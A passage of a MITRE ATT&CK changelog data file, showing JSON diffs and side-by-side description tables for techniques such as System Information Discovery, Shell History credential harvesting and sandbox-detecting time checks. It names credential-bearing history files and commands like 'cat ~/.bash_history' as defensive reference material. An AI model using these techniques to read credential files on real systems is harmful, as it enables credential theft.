>rity CTI Feeds)  Adversaries may search in private threat in>rity CTI Feeds)  Adversaries may search in private threat in
>telligence vendor data to gather actionable information. Thr>telligence vendor data to gather actionable information. If 
>eat actors may seek information/indicators gathered about th>a threat actor is searching for information on their own act
>eir own campaigns, as well as those conducted by other adver>ivities, that falls under [Search Threat Vendor Data](https:
>saries that may align with their target industries, capabili>//attack.mitre.org/techniques/T1681). Information reported b
>ties/objectives, or other operational concerns. Information >y vendors may also reveal opportunities other forms of recon
>reported by vendors may also reveal opportunities other form>naissance (ex: [Search Open Websites/Domains](https://attack
>s of reconnaissance (ex: [Search Open Websites/Domains](http>.mitre.org/techniques/T1593)), establishing operational reso
>s://attack.mitre.org/techniques/T1593)), establishing operat>urces (ex: [Develop Capabilities](https://attack.mitre.org/t
>ional resources (ex: [Develop Capabilities](https://attack.m>echniques/T1587) or [Obtain Capabilities](https://attack.mit
>itre.org/techniques/T1587) or [Obtain Capabilities](https://>re.org/techniques/T1588)), and/or initial access (ex: [Explo
>attack.mitre.org/techniques/T1588)), and/or initial access (>it Public-Facing Application](https://attack.mitre.org/techn
>ex: [Exploit Public-Facing Application](https://attack.mitre>iques/T1190) or [External Remote Services](https://attack.mi
>.org/techniques/T1190) or [External Remote Services](https:/>tre.org/techniques/T1133)).
>/attack.mitre.org/techniques/T1133)). 
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0816: Detection of Threat Intel Vendors" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:04.307000+00:00", + "modified": "2025-10-24 17:48:38.277000+00:00", + "name": "System Information Discovery", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\n\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1082", + "external_id": "T1082" + }, + { + "source_name": "Amazon Describe Instance", + "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" + }, + { + "source_name": "Google Instances Resource", + "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.", + "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances" + }, + { + "source_name": "Varonis", + "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.", + "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire" + }, + { + "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021", + "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + }, + { + "source_name": "Microsoft Virutal Machine API", + "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", + "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + }, + { + "source_name": "OSX.FairyTale", + "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.", + "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Maril Vernon @shewhohacks", + "Praetorian", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "3.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.277000+00:00\", \"old_value\": \"2025-04-15 19:58:21.308000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"old_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n+An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n \\n-Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n \\n Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.6\"}}}", + "previous_version": "2.6", + "version_change": "2.6 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may attempt to get detailed information about tt1An adversary may attempt to get detailed information about t
>he operating system and hardware, including version, patches>he operating system and hardware, including version, patches
>, hotfixes, service packs, and architecture. Adversaries may>, hotfixes, service packs, and architecture. Adversaries may
> use the information from [System Information Discovery](htt> use this information to shape follow-on behaviors, includin
>ps://attack.mitre.org/techniques/T1082during automated dis>g whether or not the adversary fully infects the target and/
>covery to shape follow-on behaviorsincluding whether or no>or attempts specific actions. This behavior is distinct from
>t the adversary fully infects the target and/or attempts spe> [Local Storage Discovery](https://attack.mitre.org/techniqu
>cific actions.  Tools such as [Systeminfo](https://attack.mi>es/T1680) which is an adversary's discovery of local drive
>tre.org/software/S0096) can be used to gather detailed syste>disks and/or volumes.  Tools such as [Systeminfo](https://at
>m information. If running with privileged access, a breakdow>tack.mitre.org/software/S0096) can be used to gather detaile
>n of system data can be gathered through the <code>systemset>d system information. If running with privileged access, a b
>up</code> configuration tool on macOS. As an example, advers>reakdown of system data can be gathered through the <code>sy
>aries with user-level access can execute the <code>df -aH</c>stemsetup</code> configuration tool on macOS. Adversaries ma
>ode> command to obtain currently mounted disks and associate>y leverage a [Network Device CLI](https://attack.mitre.org/t
>d freely available space. Adversaries may also leverage a [N>echniques/T1059/008) on network devices to gather detailed s
>etwork Device CLI](https://attack.mitre.org/techniques/T1059>ystem information (e.g. <code>show version</code>).(Citation
>/008) on network devices to gather detailed system informati>: US-CERT-TA18-106A) On ESXi servers, threat actors may gath
>on (e.g. <code>show version</code>).(Citation: US-CERT-TA18->er system information from various esxcli utilities, such as
>106A) On ESXi servers, threat actors may gather system infor> `system hostname get` and `system version get`.(Citation: C
>mation from various esxcli utilities, such as `system hostna>rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon
>me get`, `system version get`, and `storage filesystem list`>is)  Infrastructure as a Service (IaaS) cloud providers such
> (to list storage volumes).(Citation: Crowdstrike Hypervisor> as AWS, GCP, and Azure allow access to instance and virtual
> Jackpotting Pt 2 2021)(Citation: Varonis)  Infrastructure a> machine information via APIs. Successful authenticated API 
>s a Service (IaaS) cloud providers such as AWS, GCP, and Azu>calls can return data such as the operating system platform 
>re allow access to instance and virtual machine information >and status of a particular instance or the model view of a v
>via APIs. Successful authenticated API calls can return data>irtual machine.(Citation: Amazon Describe Instance)(Citation
> such as the operating system platform and status of a parti>: Google Instances Resource)(Citation: Microsoft Virutal Mac
>cular instance or the model view of a virtual machine.(Citat>hine API)  [System Information Discovery](https://attack.mit
>ion: Amazon Describe Instance)(Citation: Google Instances Re>re.org/techniques/T1082) combined with information gathered 
>source)(Citation: Microsoft Virutal Machine API)  [System In>from other forms of discovery and reconnaissance can drive p
>formation Discovery](https://attack.mitre.org/techniques/T10>ayload development and concealment.(Citation: OSX.FairyTale)
>82) combined with information gathered from other forms of d>(Citation: 20 macOS Common Tools and Techniques) 
>iscovery and reconnaissance can drive payload development an 
>d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C 
>ommon Tools and Techniques)  
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0525: System Discovery via Native and Remote Utilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 13:02:11.685000+00:00", + "modified": "2025-10-24 17:49:02.375000+00:00", + "name": "Shell History", + "description": "Adversaries may search the command history on compromised systems for insecurely stored credentials.\n\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/003", + "external_id": "T1552.003" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + }, + { + "source_name": "Medium", + "description": "Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.", + "url": "https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4" + }, + { + "source_name": "Microsoft about_History", + "description": "Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.", + "url": "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Raja Singh (raja-singh-r3v-sh3ll)", + "Avioo360" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Raja Singh (raja-singh-r3v-sh3ll)\", \"Avioo360\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.375000+00:00\", \"old_value\": \"2025-04-15 21:52:49.389000+00:00\"}, \"root['name']\": {\"new_value\": \"Shell History\", \"old_value\": \"Bash History\"}, \"root['description']\": {\"new_value\": \"Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n\\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n\\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n\\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\", \"old_value\": \"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user\\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,7 @@\\n-Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user\\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\\n+Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n+\\n+On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n+\\n+On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n+\\n+Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like cat ~/.bash_history.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Medium\", \"description\": \"Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.\", \"url\": \"https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4\"}, \"root['external_references'][3]\": {\"source_name\": \"Microsoft about_History\", \"description\": \"Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.\", \"url\": \"https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5\"}, \"root['x_mitre_platforms'][2]\": \"Windows\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search the bash command history on compromist1Adversaries may search the command history on compromised sy
>ed systems for insecurely stored credentials. Bash keeps tra>stems for insecurely stored credentials.  On Linux and macOS
>ck of the commands users type on the command-line with the \"> systems, shells such as Bash and Zsh keep track of the comm
>history\" utility. Once a user logs out, the history is flush>ands users type on the command-line with the \"history\" utili
>ed to the user\u2019s <code>.bash_history</code> file. For each u>ty. Once a user logs out, the history is flushed to the user
>ser, this file resides at the same location: <code>~/.bash_h>'s history file. For each user, this file resides at the sam
>istory</code>. Typically, this file keeps track of the user\u2019>e location: for example, `~/.bash_history` or `~/.zsh_histor
>s last 500 commands. Users often type usernames and password>y`. Typically, these files keeps track of the user's last 10
>s on the command-line as parameters to programs, which then >00 commands.  On Windows, PowerShell has both a command hist
>get saved to this file when they log out. Adversaries can ab>ory that is wiped after the session ends, and one that conta
>use this by looking through the file for potential credentia>ins commands used in all sessions and is persistent. The def
>ls. (Citation: External to DA, the OS X Way)>ault location for persistent history can be found in `%userp
 >rofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadl
 >ine\\ConsoleHost_history.txt`, but command history can also b
 >e accessed with `Get-History`. Command Prompt (CMD) on Windo
 >ws does not have persistent history.(Citation: Microsoft abo
 >ut_History)(Citation: Medium)  Users often type usernames an
 >d passwords on the command-line as parameters to programs, w
 >hich then get saved to this file when they log out. Adversar
 >ies can abuse this by looking through the file for potential
 > credentials.(Citation: External to DA, the OS X Way)
", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0385: Detect Access and Parsing of .bash_history Files for Credential Harvesting" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 21:11:11.225000+00:00", + "modified": "2025-10-24 17:48:44.870000+00:00", + "name": "Time Based Checks", + "description": "Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \n\nAdversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/003", + "external_id": "T1497.003" + }, + { + "source_name": "ISACA Malware Tricks", + "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.", + "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Jorge Orchilles, SCYTHE", + "Ruben Dodge, @shotgunner101", + "Jeff Felling, Red Canary", + "Deloitte Threat Library Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.870000+00:00\", \"old_value\": \"2025-04-15 19:58:29.032000+00:00\"}, \"root['name']\": {\"new_value\": \"Time Based Checks\", \"old_value\": \"Time Based Evasion\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \\n\\nAdversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\", \"old_value\": \"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\\n\\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\\n\\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis 